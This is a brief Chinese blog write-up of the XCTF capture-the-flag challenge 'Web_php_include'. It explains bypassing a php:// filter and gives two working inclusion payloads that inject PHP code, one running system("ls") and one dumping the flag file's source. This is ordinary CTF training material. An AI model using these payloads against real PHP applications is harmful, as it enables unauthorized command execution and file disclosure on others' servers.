XCTF web Web_php_include (php://过滤)-白红宇的个人博客

XCTF web Web_php_include (php://过滤)

发布日期：2021-05-07 06:19:21 浏览次数：15 分类：精选文章

本文共 276 字，大约阅读时间需要 1 分钟。

题目代码

用php://来引入文件流，然后include显示文件信息

php://被过滤，但是有个hello

因为这个页面就是默认页面，而且默认页面也可以用index.php来访问

可以把page转到当前页面，并且配合hello来执行一条php函数的语句获取信息就可以了。

?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>

?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>

上一篇：[渗透笔记][模板注入]python模板注入

下一篇：XCTF web php_rce (thinkphp)

关于作者

喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！

-- 愿君每日到此一游！

C++ 函数重载 2019-03-05

Nginx简介 2019-03-05

Nginx的Gzip功能 2019-03-05

Azure Storage 系列（四）在.Net 上使用Table Storage 2019-03-05

[模板] 带修莫队 2019-03-05

abstract关键字的使用 2019-03-05

算法题：获取两个字符串中的最大相同子串 2019-03-05

Asp.Net Core&Jenkins持续交付到Windows Server 2019-03-05

自我总结和学习表单提交的几种方式 (一) 2019-03-05

利用Bootstrap Paginator插件和KnockoutJS完成分页功能 2019-03-05

.NET微信网页开发之使用微信JS-SDK获取当前地理位置 2019-03-05

Android Studio在android Emulator中运行的项目黑屏 2019-03-05

JAVA高并发集合详解 2019-03-05

解决Spirng注入时名称下的红色波浪线 2019-03-05

操作系统知识概述 2019-03-05

读懂操作系统(x64)之堆栈帧（过程调用） 2019-03-05

白红宇的个人博客 - 记录点点滴滴的事 - 您是第 457538097 位访客